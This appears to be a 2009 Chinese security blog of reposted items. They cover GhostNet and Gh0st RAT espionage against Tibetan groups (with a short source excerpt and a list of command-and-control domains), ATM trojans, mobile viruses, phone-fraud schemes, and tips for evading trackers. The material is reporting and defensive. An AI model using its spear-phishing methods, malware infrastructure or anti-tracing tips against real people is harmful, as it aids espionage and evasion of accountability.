　　相比之下，中国黑客攻击最有趣的特点之一就是其规模很小。行动策划者只瞄准少数几台涉及特殊利害关系的电脑，尽管他们显然可以把网撒得更大。

　　《纽约时报》(New York Times)上周末报道了此事。中国驻纽约领事馆的一名发言人对《纽约时报》表示，这项调查是"无稽之谈"。

　　多年来，中国黑客被视为世界上最多产和最有才能的黑客群之一。许多源自中国的黑客攻击借助的是先前未披露过的微软(Microsoft)软件漏洞，以及复杂的策划。

　　这些间谍会向目标公司的职员发送经过精心设计的电子邮件（这些邮件看上去似乎来自同事），还会提到与收件人职业兴趣相关的最新事件。"幽灵网"侵入系统的方式与此相同。

　　席佳琳(Kathrin Hille)北京、约瑟夫?梅恩(Joseph Menn)旧金山和季米特里?斯瓦斯托普洛(Demetri Sevastopulo)华盛顿报道。

越来越多政府利用新技术控制网络

2009-04-03T03:11:00.001-07:00

　　From: http://www.voanews.com/chinese/w2009-04-02-voa41.cfm

　　总部设在美国的人权团体"自由之家"表示，越来越多的国家政府正在试图用新的办法来控制和监视互联网。但是"自由之家"的报告同时指出，即使是在那些限制上网的国家，人们在抵制政府施行的限制方面正变得越来越有创造性。

　　*自由之家审视十五国互联网自由状况*

　　自由之家的这份报告从上网障碍、网上内容以及违反使用者的权利等方面检查了15个国家的互联网自由状况。

　　该报告的助理编辑萨拉.库克说，拥有电脑技术的人数在急剧增加，但是互联网使用者得到的保护以及他们的安全却在不断恶化。

　　她说："越来越多的国家对政治内容进行审查，对博客作者进行逮捕，或者把博客作者送进监狱或者采取类似行动。这样就限制了人民使用这项技术的能力，特别是在交流政治或者社会问题的时候。"

　　受到检查的大部分国家得到了"部分自由"的评价，其中包括埃及、格鲁吉亚、印度、肯尼亚、马来西亚、俄罗斯和土耳其。

　　*中国、伊朗、突尼斯被列不自由*

　　由于卡斯特罗政府对上网的绝对限制，古巴在所有15个国家中得分最低。对中国、伊朗和突尼斯这三个国家的评分是"不自由"。

　　库克表示，这些国家利用先进的技术来打压政府认为有害的内容。

　　她说："中国、突尼斯和伊朗，它们(限制网上自由)的方法之一是对互联网系统的主干进行中央管理。正是这种中央管理使得它们能够进行广泛的渗透，然后对很多事情进行监视。"

　　*民众抵制政府监控越来越多有创造性*

　　不过，自由之家的报告仍然发现了一个令人鼓舞的方面，那就是，在许多限制互联网自由的国家里，公民活动与日俱增。库克说，使用者正在创造出"密码字"来绕过敏感的"话题"，并利用社交联络网址把他们自己组织起来。

　　她说："我们确实感觉到，人民正在越来越多地使用这种方式，使用政府不喜欢的方式，把自己组织起来。所以这些国家的政府也在使用不同的机制和技术来试图阻止这种现象的发生。"

　　柯蒂基(音译Ko Htike)是一位缅甸政治博客作者，居住在伦敦。尽管自由之家的报告不包括缅甸，但是缅甸的军人政府时常对政治敏感的网站进行审查，并对网民进行监视。柯蒂基说，每天，世界上有大约两千人观看他的博客，有些人甚至从缅甸国内点击，而他的博客在缅甸是被屏蔽的。

　　他说，缅甸网民观看他的博客是要冒很大风险的，但是他们希望从受到政府控制的媒体以外获得信息。

　　他说："如果在缅甸国内的人希望了解新闻以及反对派的消息，或者任何其他政治消息，他们只能通过博客得到。因为在缅甸国内，没有言论自由，也根本没有新闻自由。"

　　自由之家的库克表示，她希望看到民主国家做出更多的努力，帮助和支持世界上普通的网民。

教你在任意国内网站快速删除帐号

2009-04-03T02:53:00.001-07:00

PS:就是用ID发GFW过滤词
from:http://initiative.yo2.cn/archives/638444
1. 备份自己的数据，把资料从目标网站上dump下来，修改/清除所有个人联系信息和资料。（其实数据的覆盖比删除安全很多。）
2. 挂proxy，打开大鸡院网站
3. 复制20多篇反☭的新闻，注意标题一定要狠，要吸引人，要哗众取宠。然后广泛粘贴到目标网站高流量的板块
4. 不出意外的话，个把小时之内你的帐号会被永久性的从目标网站服务器删除，而且不会留下任何痕迹。即使网站没有开发这个功能我想鹳狸猿直接操作数据库都会把你的帐号灭了。

垃圾短信比垃圾邮件聪明的地方

2009-04-03T02:46:00.001-07:00

from:http://www.awflasher.com/blog/archives/1742

　　尽管三妖五陆续曝光了一大堆的垃圾短信发送业务，尽管已经有人大代表提出要从法律角度保护公民个人隐私，但就目前的实际情况来说，垃圾短信还是很难根除的。

　　垃圾短信和垃圾邮件（junk mail）的原理一样，都是利用大量的受众群进行低成本广告，尤其是欺诈活动。但是，在这样一个充满千年智慧的土地上，垃圾短信行业显然比西方传入的垃圾邮件行业要更强大。

　　回到这个问题的根源：欺骗究竟为什么能如此猖獗。答案非常简单，因为欺诈存在市场，这个市场比什么新媒体、SNS的那些市场要大得多。（虽然是一个病态的不健康的市场）

　　这个市场存在的原因，我认为是：骗子总是比被骗的人聪明，可以这么简单理解：如果你的智商为130之高，那么只要一个骗子的智商有131，就可能骗到你；如果一个骗子的智商只有85，他仍然可以去骗那些智商低于85的人。更何况，这还参杂着诸如社会经验、行业壁垒在内的许多其他因素。（注：这里的智商只是用于比喻防骗能力）

　　而垃圾短信行业的智慧则在于其"精准匹配" - 一个垃圾短信发布商发布一条智商为N的欺诈信息，只要找到那些智商为M, (M<N)的用户即可行骗成功而牟利。目前由于移动运营商对用户个人隐私的保护还不够成熟，以及之前广大人民群众缺乏保护意识，导致这种智商非常容易被"获取"、"分析"：

一方面，垃圾短信有极强的"无效过滤机制"（filters）：垃圾短信并不会发到那些"企业白领"、"高校学者"和"机关领导"的手机里。因为这些人的投诉意识比较强、

另一方面，垃圾短信有极强的"自动化学习机制"（machine learning）：发给1000个号码中，经常投诉或者难以欺诈成功的那一部分号码，会被加入到上面的过滤机制中。

　　有这两方面的强力保障，垃圾短信欺诈在99%的情况下都可以欺诈成功：用这99%的盈利去应付那1%的"索赔"，实在是太轻而易举的一件事情了。

总之，还是那句话，能不用手机，别用手机。

盗窃14万游戏币被判10年半

2009-04-03T02:42:00.001-07:00

　　PS:用NLP心理检定语言来解释法律规条，我们会发现大量充斥粗泛概念的词语，尤其在描述程度的多少时，通常并非那么具体。你能想象，"黑掉网站就是犯罪"，然而并有具体描述行为、性质、程度等等时，法官的宣判解读就可以天马坠地宣判。
　　在我看来，中国的刑法，是相当愚蠢的垃圾，量型重、不透明，绝大多数的法官的口头禅是："因还没有这方面的相关法律"、"目前无具体的司法解释"。立法者不懂常识，最近一条网络安全法，我怀疑，这群傻X！法克尤！
　　《中华人民共和国刑法》第二百六十四条规定："数额较大或者多次盗窃的，处三年以下有期徒刑、拘役或者管制，并处或者单处罚金；数额巨大或者有其他严重情节的，处三年以上十年以下有期徒刑，并处罚金；数额特别巨大或者有其他特别严重情节的，处十年以上有期徒刑或者无期徒刑，并处罚金或者没收财产；有下列情形之一的，处无期徒刑或者死刑，并处没收财产：（一）盗窃金融机构，数额特别巨大的；（二）盗窃珍贵文物，情节严重的。" 由于数额较大和数额巨大是一个模糊的形容词，也就为审判提供了弹性空间。《重庆晨报》报道，九龙坡区法院以数额巨大为由，一审判决盗窃久游币、联众币和魔兽点卡价值14万余元的"黑客"张某有期徒刑十年零六个月，并处罚金5万元；另外四名被告分别被判处有期徒刑三年至六年。有兴趣的话可以比较一下贪污贿赂罪，刑法第三百八十二条规定"个人贪污数额在十万元以上的，处十年以上有期徒刑或者无期徒刑，可以并处没收财产；情节特别严重的，处死刑，并处没收财产。以下是一些最近的贪污案件：山西霍州原公安局长贪污约600万元被判17年；衡阳对北亚实业(集团)股份有限公司原董事长刘贵亭挪用公款9999.98万元人民币，贪污1337万余元人民币判无期；贪污32万医药公司经理获判12年半.....

bladerunner的评论
　　90年代末连线杂志就登过，中国是唯一处死黑客的国家，记得地方是镇江。中国的判决向来政治、权力角力味道极浓，无权者往往灰飞烟灭，当年我见过为"金中富"期货案件辩护的律师，一些企业投钱是为了投政府某些人物的喜好――他们当年力挺金中富，但是出事后外资方作为知情人获得了被扣留的护照开溜，国内投资方的判决书在开庭时就已经拟定好，怎么辩护都没用。

　　至于"那个年代"，就别提了，有代人做毛主席石膏像的青年工人因为把做坏的石膏像扔掉被枪决的。至于著名的"内人党"案件，通过大规模的刑讯捏造了一个子虚乌有的几十万人的反党集团，不到50年时间抹平一切，今日在海外唧唧歪歪"西藏农奴遭受酷刑"的小奶嘴们估计根本没听说过，即使告诉他们也"不很关心政治"，而西藏问题则"不是政治问题"。当年我了解内人党案件是通过大陆华龄出版社的《中国左祸》，陈列的还都是党"平反昭雪"的案例，如果现在还能找到，建议关心历史的人去看看。

手机病毒是怎样攻击手机的？

2009-03-31T00:06:00.001-07:00

　　手机病毒的传播方式

　　1．利用蓝牙方式传播

　　2004年12月，"卡波尔"病毒在上海发现，该病毒会修改智能手机的系统设置，通过蓝牙自动搜索相邻的手机是否存在漏洞，并进行攻击。

　　2．感染PC上的手机可执行文件

　　2005年1月11日，"韦拉斯科"病毒被发现，该病毒感染电脑后，会搜索电脑硬盘上的 SIS可执行文件并进行感染。

　　3．利用MMS多媒体信息服务方式来传播

　　2005年4月4日，一种新的手机病毒传播方式出现，通过MMS多媒体信息服务方式来传播。

　　4．利用手机的BUG攻击

　　这类病毒一般是在便携式信息设备的" EPOC"上运行，如"EPOC-ALARM"、"EPOC-BANDINFO.A"、"EPOC-FAKE.A"、"EPOC-GHOST.A"、 "EPOC-ALIGHT.A"等。

　　手机病毒的攻击对象

　　一、以"病毒短信"的方式直接攻击手机本身，使手机无法提供服务，这种手机病毒是最初的形式，也是目前手机病毒的主要攻击方式。

　　二、攻击 WAP服务器使WAP手机无法接收正常信息。很多新型手机都支持WAP上网，而手机的WAP功能需要专门的WAP服务器来支持，一旦有人能发现WAP服务器的安全漏洞，就可以编制出能攻击WAP服务器的病毒，并对其进行攻击，影响WAP服务器的正常工作，从而使手机无法接收到正常的网络信息。

　　三、攻击和控制"网关"，向手机发送**信息。如果一些手机病毒的作者能找到手机网络中的网关漏洞，同样也可以利用该漏洞研制攻击网关的手机病毒，一旦攻击成功，将会对整个手机网络造成影响，使手机的所有服务都不能正常工作。

　　四、攻击整个网络。如今有许多手机都支持运行JAVA(一种编程语言)小程序，比如通过手机下载的小游戏，如果病毒作者可以找到这些JAVA漏洞的话，可以利用JAVA语言编写一些脚本病毒，来攻击整个网络，使整个手机网络产生异常。

　　手机病毒的预防

　　1．乱码短信、彩信。

　　乱码短信、彩信可能带有病毒，收到此类短信后立即清除，以免感染手机病毒。

　　2．不要接受陌生请求。

　　利用无线传送功能比如蓝牙、红外接收信息时，一定要选择安全可靠的传送对象，如果有陌生设备请求连接最好不要接受。因为前面说过，手机病毒会自动搜索无线范围内的设备进行病毒的传播。

　　3．保证下载的安全性。

　　现在网上有许多资源提供手机下载，然而很多病毒就隐藏在这些资源中，这就要求用户在使用手机下载各种资源的时候确保下载站点是否安全可靠，尽量避免去个人网站下载。

　　4．选择手机自带背景。

　　漂亮的背景图片与屏保固然让人赏心悦目，但图片中带有病毒就不爽了，所以用户最好使用手机自带的图片进行背景设置。

　　5．不要浏览危险网站。

　　比如一些黑客，色情网站，本身就是很危险的，其中隐匿着许多病毒与木马，用手机浏览此类网站是非常危险的。

　　手机病毒的清除

　　现在，清除手机病毒最好的方法就是清除带有病毒的短信。如果发现手机已经感染病毒，应立即关机，死机了，则可取下电池，然后将 SIM卡取出并插入另一型号的手机中（手机品牌最好不一样），将存于SIM卡中的可疑短信清除后，重新将卡插回原手机。如果仍然无法使用，则可以与手机服务商联系，通过无线网站对手机进行杀毒，或通过手机的IC接入口或红外传输接口进行杀毒。

安全聚焦：危机四伏的ATM取款机

2009-03-30T23:19:00.001-07:00

　　【IT专家网独家】随着攻击技术的日新月异，针对自动取款机的攻击事件已不再是新闻：我们见到过使用嗅探器攻击ATM，还有使用伪造身份(钓鱼攻击)成功进入ATM，甚至有人利用物理手段攻击ATM。但是最近一种新的针对ATM的攻击方式(向ATM机器插入盗取信息的恶意代码)，引起了所有人对 ATM安全的关注。

　　Sophos最近研究发现，Diebold ATM机器中装有能够窃取用户信息的木马程序，Diebold公司在一月份针对其windows系统的Opteva ATM机发布了一项新的安全更新，当时已经表示在俄罗斯发现部分机器被物理性攻击并被渗透木马软件。

　　Diebold公司发言人表示，"我们立即通知全球范围内的客户关于该恶意软件的风险，并发布了风险防范软件更新，我们意识到俄罗斯发生的事件的危险性，攻击者通过在ATM所在位置物理进入ATM机器，然后让拥有专业黑客技术的攻击者安装恶意软件。"

　　Sophos的资深技术顾问Graham Cluley表示，"攻击者十分精通ATM取款机内部软件，能够精通到这种程度确实让人刮目相看，他们知道API调用，了解现金机器的运行方式，攻击者的精心准备让我们颇为意外。"

　　"这不是一般攻击者能够达到的水平，"他补充说，"他们首先需要真正进入到ATM机器中，需要有人在里面处理这些设备以进入系统并安装软件。"

　　目前还不清楚攻击者怎样进入取款机内部的，但是安全专家表示，这代表着一种对银行机器的全新攻击方式，而且这个可能只是整个攻击的皮毛而已。可能有许多地方的ATM被安装了这种类型的恶意隐藏木马。

　　Diebold公司在其对ATM机器的安全更新中对客户表示，攻击者已经被抓获，正在进行调查。一旦攻击者能够进行ATM机器内部，他们就能够植入恶意软件和拦截敏感数据。当windows管理密码被获取或者内置防火墙禁用时，这种攻击的风险就会增加。

　　与此同时，Solidcore公司一月份时从其ATM客户处初次了解到Diebold攻击，Solidcore公司的OEM解决方案首席技术官 Kishore Yerrapragada表示，攻击者去年年底通过IP连接感染机器的，攻击者们非常熟悉ATM机器内部和外部的构造以及运行方式。

　　专家表示，攻击者将机器转换到所谓的"维修或者系统模式"，这时候安全保护和加密就因为调试或者系统维护而被关闭，只有对系统内部非常了解的人才可能做到这一点，这能够使黑客通过木马获取ATM机器的数据。

　　此次发现的木马软件能够收集PIN码以及所谓的Track 2加密数据(存储在ATM卡的磁条上)，这能够使攻击者复制真正的ATM卡。然后攻击者会插入自己特质的卡到被木马感染的ATM机器进入帐户系统，取款机就会通过机器系统打印出被窃取的信息。

　　Sophos的Cluley谈到攻击时说，"这种攻击方式的最大优势在于，你不能发现ATM机器被动过手脚，完全是在内部进行的。"

　　这种攻击与近日发生在欧洲的攻击相类似，大型连锁超市的几个结账读卡器被发现内置了嗅探器，攻击者在生产过程中就进行了安装，因此从外面根本看不出来被破坏了。专家透露，这些被攻击超市包括位于英国Asda的沃尔玛超市。

　　然而，这种有针对性的ATM攻击不可能取代低成本、即插即用、全网络钓鱼攻击窃取银行帐户的攻击方式。大多数犯罪分子无法进入ATM机器内部，虽然这种方式十分诱人。

　　这些攻击也暴露了这些取款机的安全弱点，Network Box的安全分析专家Simon Heron表示，"我希望看到ATM机器向支付处理器发送信息时通过SSL VPN加密或者某种VPN连接加密。这些ATM机器同样还需要更多的硬件保护，包括IDS/IPS防火墙等。"

　　ATM机器中通常都会有运行时间和变化控制工具来检测可疑活动，因此系统不能只是进行周边防护，需要加强另一层防护以防止对系统的更改。

　　Sophos公司的Cluley说道，"这次的ATM攻击事件对于ATM制造商来说应该是一次警醒，所有生产ATM设备或者银行设备的厂商在创造和生产这些设备的时候需要确保这些系统是安全的，必须确保全过程没有被交换或者修改过。

GhostNet or Gh0st RAT: The Cyber Persecution of Tibet

2009-03-30T22:42:00.001-07:00

PS:记得去年从坏坏手里拿到最新版本的Gh0st时，没预料到开源后成了间谍木马....出名了～(进一步证明ZF正在……)

For many members of the non-security research community, the New York Times story this week was big news: "Vast Spy System Loots Computers in 103 Countries". This morning's Google News has more than 750 related articles, and I applaud the work of the University of Toronto's Citizen Lab at the Monk Centre for International Studies at Trinity College for the excellent research and for sharing this story with the general public.

What does it look like to a Security Researcher though? Unfortunately, its a very common story of a very simple case of Spear Phishing that can be accomplished with minimal effort and *IS* being accomplished on a daily basis against various special interests, including government agencies, military contractors, or just people who might have a lot of money to steal. As I've discussed in my presentations on Spear Phishing, including at the 2008 Department of Defense Cyber Crime conference, high-value targets deserve special targeting. But let's look at how special the targeting was in this situation.

The news that someone was creating specifically targeted spear phishing campaigns against Tibet and Tibetan sympathizers first came to my attention in March 24, 2008, when our friends at the SANS' Internet Storm Center released the article, Overview of cyber attacks against Tibetan communities by Maarten Van Horenbeek. This was an in-depth follow-up to Maarten's initial report on March 21, 2008, Cyber attacks against Tibetan communities.

In the original article, Maarten describes the case this way:

The attacks generally start with a very trustworthy looking e-mail, being spoofed as originating from a known contact, to someone within a community. Some impressive social engineering tricks are used:
Messages make a strong statement on a well known individual or group, but do not mention its name. The attachment is then named after that individual. A state of 'cognitive dissonance' is invoked between the reader's pre-existent beliefs and the statement. There's a natural urge to click on the attachment to confirm that belief;
The writing style of the purported sender is usually well researched to have the message look as believable as possible;
The content of the document actually matches closely what was discussed in the e-mail message;

Having legitimate, trusted, users actually forward along a message back into the community.

The messages contain an attachment which exploits a client side vulnerability. Generally these are:
CHM Help files with embedded objects;
Acrobat Reader PDF exploits;
Microsoft Office exploits;
LHA files exploiting vulnerabilities in WinRAR;
Exploitation of an ActiveX component through an attached HTML file.

At that time he showed how PowerPoint files with names such as "reports_of_violence_in_tibet.ppt" and or "China's Tibet.pdf" contained exploits and were delivered in emails designed to elicit a trust-response from the reader if they were sympathetic to the cause. Here's one email that Maarten shared:

All,

Attached here is the update Human Rights Report on Tibet issued by
Department of State of U.S.A on March 11, 2008.

You may also visit the site:

Tashi Deleg,

Sonam Dagpo

Secretary of International Relations
Department of Information & International Relations
Central Tibetan Administration
Dharamshala -176215
H.P., INDIA
Ph.: [obfuscated]
Fax: [obfuscated]
E-mail: [obfuscated]@gov.tibet.net or diir-pa@gov.tibet.net
Website: http://www.tibet.net/en/diir/

Maarten confirmed that the contact information was correct for a member of the Tibetan Government in exile in Dharamshala, India.

In the case of the Citizen Labs report, the name of the report was the first thing worth mentioning. The report was called "Tracking GhostNet: Investigating a Cyber Espionage Network". Why was it called GhostNet? Because the enabling technology in their investigation was a common Remote Administration Trojan called "Gh0st RAT" (that's Gh0st with a Zero).

It took about 30 seconds to find a copy of Gh0st RAT 3.6 in the Chinese underground community, complete with source code. The program is written in VC++ version 6.0. The source code makes clear that, as is the case with many Chinese distributed malware products, the current distributor is a Chinese speaker speaking to a Chinese audience, although the comments make it quite possible the code was originally authored and designed for English speakers. Here's an example Code Snippet:

/////////////////////////////////////////////////////////////////////////////
// CGh0stApp construction

CGh0stApp::CGh0stApp()
{
// TODO: add construction code here,
// Place all significant initialization in InitInstance

// 初始化本进程的图像列表, 为加载系统图标列表做准备
typedef BOOL (WINAPI * pfn_FileIconInit) (BOOL fFullInit);
pfn_FileIconInit FileIconInit = (pfn_FileIconInit) GetProcAddress(LoadLibrary("shell32.dll"), (LPCSTR)660);
FileIconInit(TRUE);

HANDLE hFile = CreateFile("QQwry.dat", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE)

(According to Google Translate, the Chinese here says roughly: 为加载系统图标列表做准备 = Initialize the image list of this process, and 为加载系统图标列表做准备 = Icon to load the system ready to do list

While many of the notes in the source code have been rendered in Chinese, it still reads as those these are after-thought comments, and not the original author's words.

Still, Gh0st RAT China has been in development as a Chinese tool for some time - the version that was popular in China in early 2008 was Beta 2.5. and seems to have been primarily distributed by members of the "C.Rufus Security Team" or "CRST" through their website wolfexp.net (which is suddently not online???). While wildenwolf's website seems offline, another CRST member, amxku, still has a great deal of notes available on his blog at amxku.net.

One of the main researchers in the Sec Dev project, Gregory Walton, previewed some of this report at a presentation he did in Dharamshala, India back in 26 August 2008 called "Year of the Gh0st Rat".

The Citizen Lab report investigates a large botnet which was enabled by the Gh0st Remote Administration Trojan. In their technical findings, they reveal that the members of the network of their investigation received emails with malicious attachments, very similar to what Maarten reported at ISC back in March. Here's one of the Citizen Lab report emails:

Something else very interesting emerges as we begin digging into some of the technical information shared in the Citizen Lab report.

For example, they mention two domain names used as Command & Control points for the by Gh0st machines they were tracking:

macfeeresponse.org and scratchindian.com

At the time the IP address they were tracking was 218.241.153.61, but now both of those domains are resolving to the IP 210.51.7.155, in China. Other domain names on that same IP address may be domain names of concern, including:

indexindian.com - opanpan@gmail.com
lookbytheway.com - losttemp33@hotmail.com
macfeeresponse.com - losttemp33@hotmail.com
macfeeresponse.org - losttemp33@hotmail.com
MSNxy.net - yglct@sina.com
MSNyf.net - yglct@sina.com
NetworkCIA.com - yglct@sina.com
ScratchIndian.com - opanpan@gmail.com
sysroots.net - yglct@sina.com
timeswindow.net - yglct@sina.com
womanld.com - yglct@sina.com
womannana.com - yglct@sina.com
ybbero.com - yglct@sina.com
yellowpaperofindia.com - losttemp33@hotmail.com
yfhomes.com - yglct@sina.com

A simple Google on most of these domain names will reveal that they are all known to be related to malicious software and botnet activity, but they are still sitting live in China.

The Citizens Lab report reveals that documents from a computer in the Dalai Lama's own office were being exfiltrated to "www.macafeeresponse.org" during the course of the investigation.

While their report focused on traffic related to this Tibet group, it is clear that there are many other groups, with covert traffic being sent back to China and elsewhere, and that it is trivial to create such an infection using commonly unpatched or underpatched exploits, easily downloadable malware, and hard-to-stop social engineering techniques.

If others are seeing data communicating with the domain names listed above, please take action. Report these communications so that we can learn what other groups, besides the Tibet group, may be losing intelligence and internal documents to these data stealing botnets.

胡扯闲聊~安全守则

2009-03-30T22:08:00.001-07:00

PS:不属于本拉登，暂时没有必要看
from:http://www.6code.net/zaqizaba/security_rules.html
适用范围人群：
1.被杀手集团追杀
2.被黑客追踪
3.被商业竞争对手调查
4.被私人侦探调查

不适用范围人群：
1.被政府秘密通缉
2.被公安厅通缉
3.被他国国家安全部门通缉

守则内容：
1.住所不固定，即使有自己的房子，也会租一套以上的房子备用。
2.工作地点不固定，无论是因为工作地点变动而导致的自然不固定，或是其他理由限制，都最好能努力为自己提供一个不固定的工作地点。
3.通讯方式不固定，手机卡每换一个地方即换卡，QQ每换一个地方即换号。个人电脑中每登陆完一次QQ或邮箱等包含个人信息的东西后便立即清除登陆痕迹。登陆的同时加上跳板，无论国内或国外，以防有人能够通过某种关系或手段查到你最近一次的登陆IP。
4.交通方式不固定，此处由于国家政府和公安部门有权限调取出入境和交通记录以外，其他任何部门都没有权利。这也是为什么本安全守则不适用于开头所列的三类人群之原因。
5.除了你本人以外，其他任何人不应该知道你目前所住的详细地址。
6.除了你本人的大脑和皮肤以外，其他任何地方，包括纸制品，个人电脑或者手机、光盘，移动硬盘等一切存储介质上，都不应留有你的保密信息，包括：常用ID、密码，最重要的人的联系方式。
7.不得向任何人直接或间接提及你的职责范围和工作内容。

以上是我的个人经验总结，相信以上7条都做到位，那么除非你是《越狱》中类似的全国通缉犯或是被其他国家清查的间谍，你都能够安全的生活。当超过对方可付出的时间成本周期之后，对方会放弃，你便可重获自由，恢复正常人身份。

瑞星个人隐私安全报告（2009）

2009-03-30T19:27:00.001-07:00

瑞星个人隐私安全报告（2009）

下载地址：http://tech.qq.com/doc/SNSAQ.doc

Dump.ru

诈骗集团新手法

2009-03-30T18:48:00.001-07:00

　　今天是2008年5月6日...由於在吃晚餐时看到新闻播出诈骗集团佯称自己是台北刑事局警员,来电电话也显示正确.地址确实也正确.再加上又佯称是检察官并当下做录音动作.......

　　所以寻找以下案例供大家参考.不要上当受骗了喔!!!

　　==============================================================================

　　下午收机接到一通电话，对方自称是台北市刑事局警员，自称警员的说查获诈骗集团，主嫌犯冒用人头开户作案洗钱，检察官目前已经起诉不少人，要我们做语音笔录呈给检察官。询问是和银行是否有借贷往来，办哪些银行的信用卡和现金卡，刑事局会去调阅联合徵信纪录，查看我们和银行的往来状况，而且我们会收到法院传票，届时需要出庭作证个人清白，然後自称刑事局的警员还会问：

　　１.有在什麽银行分行开户？

　　２.存摺上最後一次的存余是多少钱？。

　　我觉得很奇怪照着手机显示的号码，向1288查号台询问，查号台说这只号码没有登记所在单位，再给我台北市刑事局号码。打电话过去警员说已经有很多人报案了，那是诈骗集团要小心点，因为我们在外面会留下个人资料，有的不肖业者和诈骗集团挂勾，诈骗集团会向不肖业者购买个人资料，以致个人资料外泄。

　　＊重点：

　　千万不要随便透露自己在银行有多少存款哦！以防存款遭窃。

　　诈骗集团：(02)-23886558

　　台北市刑事局：(02)-23817263

　　* 2007-09-18 23:18:57 补充

　　自称刑事局员警的也是问我认识"周建裕"这个人吗？我有没有在玉山及安泰两家银行的帐户？连我的身分证字号、户籍地址、出生年月日也都说出来，就问我有在什麽银行开户，要我存摺上最後的日期跟存余，我就笨笨的跑去翻一堆银行存摺，还一本一本的告诉他，幸好我的钱早就没有存在银行的习惯，不然我真的会哭死。

　　我是後来跟妈妈讲这件事情，妈妈就分析给我听说是诈骗集团，我就打电话去求证看到底是不是，现在的诈骗集团花招百出啊。

　　==============================================================================

　　我整理了一些目前各式各样的诈欺手法，藉以宣导民众勿成无辜被害人！

　　一、近来警方查获假藉公司行号名义，专门以贩卖「灵骨塔」方式，诈骗独居有钱老人或是刚退休想投资人，至许多民众惨遭诈骗退休金案件，该集团诈骗手法如下：

　　1、利用曾经营「瓦斯安全开关公司」，大量�集数万笔客户资料，分析客层属性後锁定被害人。

　　2、招募培训业务员接受「卡００心理课程」，教导如何鼓吹、引诱客户投资购买灵骨塔。

　　3、分配对象名单，由业务员前往家中拜访诈骗。

　　4、被害人报持小额投资获利心态（转售可一倍以上获利）有某一妇人2年内认购30个（每个62000元）因无钱续购竟遭集团份子载至保险公司以保单质押现金。

　　二、谎称金管会，提供安全帐户诈骗最近本分局已受理数件诈财案件，歹徒会佯称金管会人员，电话告知被害人身分遭冒用或信用卡遭盗刷，银行帐户资金恐遭冒领，户头不安全，便佯称可提供1个「安全帐户」，便有被害人不疑有他，将钱领出存入诈骗集团的户头，被骗金额均超过非约定转帐3万上限，民众不可不防。

　　三、诱骗被害人到银行直接临柜汇款诈骗集团先以电话佯称做「市场调查」，让被害人留下印象，隔1周再以电话谎称中奖，假如不付手续费便失去资格等，一步一步引诱被害人上勾。

　　四、假网路拍卖诈财卖家（诈骗集团）大方告诉网友（被害人）「收到货再付款」，被害人收到货後便汇款给卖家，事实上卖家是用伪造的信用卡订货，等追查货物流向时，便找上网友，可说得不偿失。

　　五、假藉法院名义，诱使民众拨打高额电话诈骗集团假藉地方法院名义，以电话语音通知民众有公告文件或过期罚单，民众担心负上严重後果，按照语音指示，按「9」转接服务人员查询，对方即询问姓名等佯称核对电脑资料，透过这种方式转接，民众得付出高额通话费。(资料提供：95.04.28侦查队-陈军生)

　　六、佯称中奖-诈骗集团利用大量简讯传送「中大奖」、「中轿车」内容，并冒充金融机构人员，要求被害人以提款机转帐方式或临柜汇款方式预先缴付税金，被害人依嫌犯指示操作提款机或至银行完成汇款後，嫌犯打电话谎称没有转帐成功，并表示该款项被留滞於「金资中心」，於是告知被害人拨打另一线 0800 金资中心服务电话（由嫌犯申办之假金资中心服务电话）。被害人打 0800 电话後，伪称金资中心服务人员再次指示被害人至提款机汇款以完成或退回该笔款项，被害人深信不疑，便依指示再次将钱汇至人头帐户中，骗得被害人户头内的存款，被提领一空。(资料提供：95.05.05侦查队-陈军生)

　　七、

　　1. 中华电信语音催收电话费的电话您曾经接到过吗？您可要小心了！

　　根据165专线两周来的持续追踪观察发现，诈骗歹徒以中华电信的名义，大量发出电话语音通知，目的就是要骗人去办理电话语音约定转帐，骗光所有存款，已有多人被骗，如台中县黄小姐被骗了60万，台北市吕小姐被骗200万、高雄萧太太被骗54万，此手法流程如下：

　　1.您接到语音电话：「这里是中华电信，您好，您积欠电话费1万○○元，尚未缴清，请尽快缴纳，如有任何问题请按9。」

　　2.您按9询问时，对方的回答：「您的电话02-****0000，现在有1万5012元尚未缴清，再不缴会停话。」

　　3.当您质疑我没有申办这个电话号码时，歹徒回答：「这个电话是去年11月以您的名义申办的，因一直打国际电话，所以费用才会那麽高，如果没有申办此电话，可能是被人冒名申办的。请拨02-2200****去跟电信警察报案。」

　　4.当您拨此电话，假电信警察队会说您涉嫌吸金诈欺、洗钱，并以作电话笔录套问您银行往来开户、申请信用卡情形（其实这个动作是在统计可以藉电话转帐诈骗之金额数）

　　5.接着又将电话转接至「国家安全帐户管制局」（并无此机关）做安全监控，要您到银行办理语音约定转帐设定，若您在电话中说出了「帐号」、「密码」，就可能被骗光所有存款。

　　2.因应预防之道：

　　1. 若接到中华电信语音催收话费，可拨打中华电信「123」服务电话确认。

　　2. 欠电话费直接至电信公司缴费即可，不可能由中华电信人员通知涉及「个人资料遭冒用」，中华电信也不会主动提供警察办案单位电话。

　　3. 目前金融机构的电话语音约定转帐已成为歹徒诈骗最佳管道，最主要原因就是一般民众并不知道此设定绝对不可泄露「帐号」、「密码」，因此若接到不明来电，并且要求做此设定，请务必先拨打刑事警察局「165」反诈欺专线查证，以免被歹徒骗光所有存款。＊再次提醒民众，勿贪小便宜，遭诈欺集团利用，出卖身分申请「人头帐户」及「人头电话」，协助犯罪，害人又害己。 (资料提供：95.06.05侦查队-陈军生)

　　* 2007-09-18 15:50:05 补充

　　收到货再付款，这是很高招的骗术（一定要看啊！）网路广告最近一些高价的东西，例如：手机、DVD、notebook、DC.....等，都便宜的离谱，并告诉你�收到货再付款�。（不要以为�收到货再付款�就不会被骗钱...）虽然你会收到全新的机器，而且操作正常，心想：这样应该就没问题了，所以就把钱汇给他。结果原来他是用假信用卡去订货，然後直接从邮购公司寄到你家，你以为已经收到货，所以就汇钱给他，等到邮购公司发现是假信用卡时，追查货物流向，就找上你家，货不但被收，你还得澄清不是你使用假信用卡。可以把这个邮件转寄给你所认识的每个人，以免有人被骗！

　　* 2007-09-18 15:50:07 补充

　　「假辅导长、真诈财」

　　犯罪手法：

　　一、诈骗集团诿称是部队的辅导长，因其儿子与人发生车祸，要与对方和解，必须赔偿车主修车费。

　　二、民众不疑有他，依指示汇款至歹徒帐户。

　　* 2007-09-18 15:50:39 补充

　　假名应徵房屋销售员真诈骗签约金

